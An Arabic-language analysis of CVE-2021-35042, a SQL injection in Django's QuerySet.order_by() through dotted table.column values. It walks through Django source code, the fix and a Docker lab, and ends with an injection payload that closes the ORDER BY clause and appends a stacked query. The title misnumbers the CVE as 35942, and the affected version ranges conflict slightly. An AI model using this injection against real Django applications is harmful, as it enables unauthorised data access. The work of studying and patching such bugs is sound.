
تحليل أساسي حول CVE-2021-35942. حقن SQL في Django.
Django هو إطار عمل لتطوير تطبيقات الويب مفتوح المصدر، مكتوب بلغة Python ومبني وفق نموذج MVC (Model - View - Controller). تم بناؤه في البداية لإدارة مواقع الويب ذات المحتوى الإخباري المملوكة لمجموعة النشر Lawrence، وهو برنامج CMS (نظام إدارة المحتوى).
توجد ثغرة حقن SQL في إصدارات Django 3.1.x -> 3.1.13 والإصدارات 3.2.x -> 3.2.5.
سبب هذه الثغرة هو أن وظيفة تصفية بيانات الإدخال التي يتحكم فيها المستخدم في QuerySet.order_by() غير كافية لمنع هجمات حقن SQL. يمكن استغلال هذه الثغرة للسماح للمهاجم بتنفيذ إجراءات غير مصرح بها تؤدي إلى تسريب بيانات حساسة.
| CVE - ID | CVE-2021-35042 |
|---|
| الخطورة | 9.8 - حرجة |
| CWE - ID | CWE-89: تحييد غير صحيح للعناصر الخاصة المستخدمة في أمر SQL ('حقن SQL') |
| تاريخ نشر الثغرة | 1/7/2021 |
| البرامج المتأثرة | 3.1.x < 3.1.13, 3.2.x < 3.2.5 |
| يتطلب مصادقة | غير مطلوب |
في Django، يتم إنشاء الجداول وتحديد الحقول في قاعدة البيانات عن طريق تعريف فئة نموذج في ملف models.py. في هذا المثال، نعرّف جدولًا باسم Wolf وحقلًا باسم name.


يُستخدم إطار عمل ORM المدمج في Django للتعامل مع قاعدة البيانات، ونتيجة الاستعلام هي مجموعة، وهذه المجموعة هي QuerySet.
order_by(fields)
بشكل افتراضي، تُرجع order_by() QuerySet مرتبًا بترتيب محدد في خيار ordering في Meta الخاص بالنموذج. يمكننا تجاوز شرط order_by في كل استعلام باستخدام طريقة order_by().
مثال
wolves = Wolf.objects.order_by('-name', 'id')
ستكون نتيجة الاستعلام أعلاه مرتبة تنازليًا حسب حقل name، ثم تصاعديًا حسب id. تشير الإشارة السالبة قبل اسم الحقل name إلى أن النتيجة مرتبة تنازليًا.
المثال التالي سيرتب النتائج حسب الحقل المُدخل من المستخدم، وإذا لم يتم تمرير أي قيمة، فسيتم الترتيب حسب حقل
id.
النتيجة

في الإصدارين 3.1 و 3.2، يسمح Django بدمج طريقة الاستعلام مع اسم الجدول في استعلام order_by. هذا هو السبب الرئيسي لهذه الثغرة.
تمرير اسم جدول يعطينا نفس نتيجة تمرير اسم حقل عادي
cve202135042_wolf هو اسم الجدول
أولاً، يستدعي التطبيق مباشرة دالة order_by()، ويتم تعريف الكود الذي يعالج دالة order_by() في:
django/db/models/query.py

تقوم دالة order_by() بأمرين
- حذف جميع الطرق الحالية التي يتم استدعاؤها بواسطة order_by() وحذف المعامل الافتراضي الذي يتم تمريره عندما يستقبل order_by قيمة مختلفة.
- تمرير المعامل إلى order_by. تقوم دالة
add_ordering()بهذا الأمر.
def add_ordering(self, *ordering):
"""
Add items from the 'ordering' sequence to the query's "order by"
clause. These items are either field names (not column names) --
possibly with a direction prefix ('-' or '?') -- or OrderBy
expressions.
If 'ordering' is empty, clear all ordering from the query.
"""
errors = []
for item in ordering:
if isinstance(item, str):
if '.' in item:
warnings.warn(
'Passing column raw column aliases to order_by() is '
'deprecated. Wrap %r in a RawSQL expression before '
'passing it to order_by().' % item,
category=RemovedInDjango40Warning,
stacklevel=3,
)
continue
if item == '?':
continue
if item.startswith('-'):
item = item[1:]
if item in self.annotations:
continue
if self.extra and item in self.extra:
continue
# names_to_path() validates the lookup. A descriptive
# FieldError will be raise if it's not.
self.names_to_path(item.split(LOOKUP_SEP), self.model._meta)
elif not hasattr(item, 'resolve_expression'):
errors.append(item)
if getattr(item, 'contains_aggregate', False):
raise FieldError(
'Using an aggregate in order_by() without also including '
'it in annotate() is not allowed: %s' % item
)
if errors:
raise FieldError('Invalid order_by arguments: %s' % errors)
if ordering:
self.order_by += ordering
else:
self.default_ordering = False
المعامل الذي يتم تمريره إلى add_ordering() هو مصفوفة.
مثال عند تمرير المعامل كما يلي:
wolves = Wolf.objects.order_by( 'name' , 'id' )عندها، سيقوم التطبيق بتحويله إلى استعلام في قاعدة البيانات كما يلي:
SELECT "cve202135042_wolf"."id", "cve202135042_wolf"."name" FROM "cve202135042_wolf" ORDER BY "cve202135042_wolf"."name" ASC, "cve202135042_wolf"."id" ASC
عند تمريره، ستقوم دالة add_ordering بفحص كل عنصر في المصفوفة، وإذا كان string، فسيتم فحصه في 5 حالات:
if '.' in item:سيتحقق مما إذا كان استعلامًا باسم عمود وأن هذا العمود له اسم جدول محدد في عبارة SQL أم لا. إذا كان كذلك، فسيصدر تحذيرًا وينفذcontinue.if item == '?':إذا كانت قيمة العنصر هي علامة '?'، فسيتم ترتيب النتائج عشوائيًا، ثمcontinue.if item.startswith('-'):إذا بدأ العنصر بالحرف '-'، فسيتم ترتيب نتائج الاستعلام تنازليًا (DESC).if item in self.annotations:يتحقق مما إذا كان يحتوي على تعليق توضيحي أم لا، وإذا كان كذلك، فسيتمcontinue.if self.extra and item in self.extra:يحدد ما إذا كانت هناك إضافات، وإذا كان كذلك، فسيتمcontinue.
بعد الفحوصات الخمسة، يتم تمرير المعامل إلى دالة self.names_to_path(item.split(LOOKUP_SEP), self.model._meta) لمواصلة التحقق مما إذا كان اسم عمود صالحًا أم لا، وبعد ذلك إذا كان صالحًا، فسيتم إضافته إلى self.ordering الخاص بفئة Query لمزيد من المعالجة.
يقوم ORM الخاص بـ Django بتصفية البيانات المُدخلة في الاستعلام بشكل صارم للغاية، لكن التغيير في الكود المصدري هذه المرة الذي أدى إلى حقن SQL هو أن المؤلف افترض أنه إذا كان اسم العمود هو عمود UUID (المعرف الفريد العام)، فلن يمكن تنفيذ استعلام order_by.
أي إذا كانت البيانات المُدخلة هي xxx-xxx-xxx-xxx (تنسيق UUID)، فلن يمكن تنفيذ الاستعلام.
الكود قبل إجراء التغيير
# django/db/models/sql/constants.py
ORDER_PATTERN = _lazy_re_compile ( r '\?|[-+]?[.\w]+$' )
# django/db/models/sql/query.py
def add_ordering ( self , * ordering ):
errors = []
for item in ordering :
if isinstance ( item , str ) and ORDER_PATTERN . match ( item ):
if '.' in item :
warnings . warn (
'Passing column raw column aliases to order_by() is '
'deprecated. Wrap %r in a RawSQL expression before '
'passing it to order_by().' % item ,
category = RemovedInDjango40Warning ,
stacklevel = 3 ,
)
elif not hasattr ( item , 'resolve_expression' ):
errors . append ( item )
if getattr ( item , 'contains_aggregate' , False ):
raise FieldError (
'Using an aggregate in order_by() without also including '
'it in annotate() is not allowed: %s ' % item
)
if errors :
raise FieldError ( 'Invalid order_by arguments: %s ' % errors )
if ordering :
self . order_by += ordering
else :
self . default_ordering = False
من الكود أعلاه، يمكننا أن نرى أنه إذا تطابق المعامل مع ? أو بدأ بـ - متبوعًا بأحرف عادية أو علامة .، فسيتم تنفيذ الاستعلام فقط.
لذلك، عندما يكون اسم العمود UUID، فستكون قيمة غير صالحة ولا يمكن إدخالها في order_by.
تم قبول تغيير الكود الخاص بهذه المعالجة، وتم تغييره كما يلي:
https://github.com/charettes/django/commit/513948735b799239f3ef8c89397592445e1a0cd5

استخدم دالة self.name_to_path للتحقق من صحة بيانات الإدخال.
ولكن بعد الفحص، إذا كان هناك . في العنصر، فسيعتبره استعلامًا باسم جدول، ويتم تنفيذ أمر continue، مما يؤدي إلى تخطي استخدام دالة self.name_to_path للتحقق من صحة البيانات مباشرة.
الكود الذي يعالج علامة . في دالة get_order_by كما يلي:
django/db/models/sql/compiler.py
if '.' in field :
table , col = col . split ( '.' , 1 )
order_by . append ((
OrderBy (
RawSQL ( ' %s . %s ' % (
self . quote_name_unless_alias ( table ), col ), [ ]),
descending = descending
), False ))
continue
تعالج دالة self.quote_name_unless_alias اسم الجدول، وتقوم بتصفية أسماء الجداول الصالحة وتتجاهل تصفية اسم العمود، لذلك يمكننا إدراج عبارة حقن SQL.
في إصدار Django 4.0 الحالي، تمت إزالة الاستعلام باسم الجدول باستخدام علامة . ولم يعد مدعومًا، وتم إصدار التصحيح للإصدارين 3.1 و 3.2. الإصدارات 3.2 -> 3.2.4 و 3.1 -> 3.1.12 متأثرة.
3.2.x Fixed CVE-2021-35042 -- Prevented SQL injection in QuerySet.o…
التعديل بسيط جدًا، حيث تمت إعادة فحص البيانات باستخدام ReGex القديم.

قم بتحديث Django إلى إصدار غير متأثر.
Docker & Docker-compose
git clone https://github.com/WynSon/CVE-2021-35042.git./setup.sh للإعداد الأوليsudo docker-compose up --buildsudo docker exec -it cve-2021-35042_web_1 python manage.py makemigrations cve202135042sudo docker exec -it cve-2021-35042_web_1 python manage.py migratehttp://localhost:8000/wolves/?order_by=nameالشاشة بعد اكتمال التثبيت

الشرط: لاستغلال الثغرة، يجب علينا معرفة اسم الجدول بطريقة ما :))
عند حقن العبارة، يجب أن نعرف اسم الجدول حتى نتمكن من تنفيذ عبارة SQLi.
عند إدخال اسم جدول خاطئ

عند إدخال اسم الجدول الصحيح، يتم تنفيذ استعلام orderby بشكل طبيعي.

ستصبح العبارة في هذه الحالة
SELECT "cve202135042_wolf"."id", "cve202135042_wolf"."name" FROM "cve202135042_wolf" ORDER BY ("cve202135042_wolf"."name") ASC
في هذه المرحلة، يمكننا إنهاء عبارة order_by السابقة وإدراج عبارة SQL لاستغلال الثغرة.

SELECT "cve202135042_wolf"."id", "cve202135042_wolf"."name" FROM "cve202135042_wolf" ORDER BY ("cve202135042_wolf"."name"); SELECT * from cve202135042_wolf where id =1; --) ASC